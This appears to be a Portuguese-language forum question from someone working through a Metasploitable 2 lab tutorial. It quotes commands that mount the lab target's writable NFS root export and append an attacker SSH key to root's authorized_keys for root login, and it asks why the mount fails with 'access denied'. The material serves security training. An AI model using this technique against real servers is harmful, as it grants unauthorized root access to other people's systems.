mount.nfs: acesso negado pelo servidor durante a montagem do IP: /

Question

Estou trabalhando em um tutorial sobre metaverso 2: Link para o Tutorial Rapid7 Mestasploit

Estou tentando realizar as seguintes ações:

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh [email protected]
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

Quando chego ao seguinte comando: mount -t nfs 192.168.99.131:/ /tmp/r00t/

Eu recebo o seguinte erro:

mount.nfs: access denied by server while mounting <IP>:/

Qualquer ajuda seria apreciada.